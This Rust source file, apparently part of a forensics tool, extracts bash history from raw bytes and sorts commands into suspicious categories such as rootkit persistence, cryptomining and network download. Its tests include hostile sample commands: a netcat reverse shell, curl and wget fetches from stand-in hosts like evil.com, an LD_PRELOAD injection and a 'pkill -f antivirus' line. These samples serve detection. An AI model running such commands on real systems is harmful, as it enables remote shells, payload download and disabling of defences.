#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct BashHistoryEntry {
pub pid: u32,
pub comm: String,
pub command: String,
pub sequence: usize,
}
pub fn extract_bash_history_from_bytes(bytes: &[u8]) -> Vec<String> {
let mut seen = std::collections::HashSet::new();
let mut result = Vec::new();
for chunk in bytes.split(|&b| b == 0) {
if chunk.len() < 3 {
continue;
}
if !chunk
.iter()
.all(|&b| b == b'\t' || (0x20..=0x7E).contains(&b))
{
continue;
}
let s = match std::str::from_utf8(chunk) {
Ok(s) => s.to_string(),
Err(_) => continue,
};
if seen.insert(s.clone()) {
result.push(s);
}
}
result
}
pub fn classify_bash_command(cmd: &str) -> Option<&'static str> {
if cmd.contains("ld.so.preload")
|| cmd.to_lowercase().contains("ldpreload")
|| cmd.contains("LD_PRELOAD")
{
return Some("rootkit_persistence");
}
if cmd.contains("/dev/shm") || cmd.contains("/run/shm") {
return Some("staging_area");
}
if cmd.contains("rm -rf") || cmd.contains("unlink ") {
return Some("file_deletion");
}
if cmd.contains("wget ")
|| cmd.contains("curl ")
|| cmd.starts_with("nc ")
|| cmd.contains(" nc ")
|| cmd.contains("ncat ")
{
return Some("network_download");
}
let first_token = cmd.split_whitespace().next().unwrap_or("");
if first_token == "xmrig"
|| first_token.ends_with("/xmrig")
|| first_token.ends_with("\\xmrig")
|| cmd.contains("stratum")
|| cmd.contains("cryptonight")
{
return Some("cryptomining");
}
if cmd.contains("chmod +x") || cmd.contains("chmod 777") {
return Some("permission_change");
}
if cmd.contains("kill -9") || cmd.contains("pkill ") || cmd.starts_with("pkill") {
return Some("process_termination");
}
None
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn extract_nul_separated_commands() {
let input = b"ls -la\0rm -rf /tmp/kit\0";
let result = extract_bash_history_from_bytes(input);
assert!(
result.contains(&"ls -la".to_string()),
"must contain 'ls -la'"
);
assert!(
result.contains(&"rm -rf /tmp/kit".to_string()),
"must contain 'rm -rf /tmp/kit'"
);
}
#[test]
fn extract_deduplicates_repeated_commands() {
let input = b"pwd\0pwd\0whoami\0";
let result = extract_bash_history_from_bytes(input);
let pwd_count = result.iter().filter(|s| s.as_str() == "pwd").count();
assert_eq!(pwd_count, 1, "duplicate commands must be deduplicated");
assert!(result.contains(&"whoami".to_string()));
}
#[test]
fn extract_skips_very_short_strings() {
let input = b"ls\0pwd\0id\0";
let result = extract_bash_history_from_bytes(input);
assert!(
!result.contains(&"ls".to_string()),
"'ls' is 2 chars, must be filtered"
);
assert!(
!result.contains(&"id".to_string()),
"'id' is 2 chars, must be filtered"
);
assert!(result.contains(&"pwd".to_string()));
}
#[test]
fn extract_empty_input_returns_empty() {
assert!(extract_bash_history_from_bytes(b"").is_empty());
}
#[test]
fn extract_preserves_order_of_appearance() {
let input = b"whoami\0cat /etc/passwd\0ls -la\0";
let result = extract_bash_history_from_bytes(input);
let whoami_pos = result.iter().position(|s| s == "whoami").unwrap();
let cat_pos = result.iter().position(|s| s == "cat /etc/passwd").unwrap();
let ls_pos = result.iter().position(|s| s == "ls -la").unwrap();
assert!(whoami_pos < cat_pos, "order must be preserved");
assert!(cat_pos < ls_pos, "order must be preserved");
}
#[test]
fn classify_rm_rf_is_file_deletion() {
assert_eq!(
classify_bash_command("rm -rf /tmp/kit"),
Some("file_deletion")
);
}
#[test]
fn classify_unlink_is_file_deletion() {
assert_eq!(
classify_bash_command("unlink /tmp/evil"),
Some("file_deletion")
);
}
#[test]
fn classify_curl_is_network_download() {
assert_eq!(
classify_bash_command("curl http://evil.com/xmrig"),
Some("network_download")
);
}
#[test]
fn classify_wget_is_network_download() {
assert_eq!(
classify_bash_command("wget http://bad.com/payload"),
Some("network_download")
);
}
#[test]
fn classify_nc_is_network_download() {
assert_eq!(
classify_bash_command("nc -e /bin/sh 10.0.0.1 4444"),
Some("network_download")
);
}
#[test]
fn classify_echo_hello_is_none() {
assert_eq!(classify_bash_command("echo hello"), None);
}
#[test]
fn classify_ld_so_preload_is_rootkit_persistence() {
assert_eq!(
classify_bash_command("cat /etc/ld.so.preload"),
Some("rootkit_persistence")
);
}
#[test]
fn classify_ldpreload_env_is_rootkit_persistence() {
assert_eq!(
classify_bash_command("LD_PRELOAD=/tmp/evil.so ./target"),
Some("rootkit_persistence")
);
}
#[test]
fn classify_xmrig_is_cryptomining() {
assert_eq!(
classify_bash_command("xmrig --pool stratum+tcp://pool:3333"),
Some("cryptomining")
);
}
#[test]
fn classify_stratum_is_cryptomining() {
assert_eq!(
classify_bash_command("./miner stratum+tcp://pool.minexmr.com:443 -u user"),
Some("cryptomining")
);
}
#[test]
fn classify_dev_shm_is_staging_area() {
assert_eq!(
classify_bash_command("cp /tmp/kit /dev/shm/.hidden"),
Some("staging_area")
);
}
#[test]
fn classify_kill_9_is_process_termination() {
assert_eq!(
classify_bash_command("kill -9 1234"),
Some("process_termination")
);
}
#[test]
fn classify_pkill_is_process_termination() {
assert_eq!(
classify_bash_command("pkill -f antivirus"),
Some("process_termination")
);
}
#[test]
fn classify_chmod_x_is_permission_change() {
assert_eq!(
classify_bash_command("chmod +x /tmp/evil"),
Some("permission_change")
);
}
#[test]
fn classify_chmod_777_is_permission_change() {
assert_eq!(
classify_bash_command("chmod 777 /tmp/evil"),
Some("permission_change")
);
}
#[test]
fn classify_cryptonight_is_cryptomining() {
assert_eq!(
classify_bash_command("./cryptonight --threads 4"),
Some("cryptomining")
);
}
}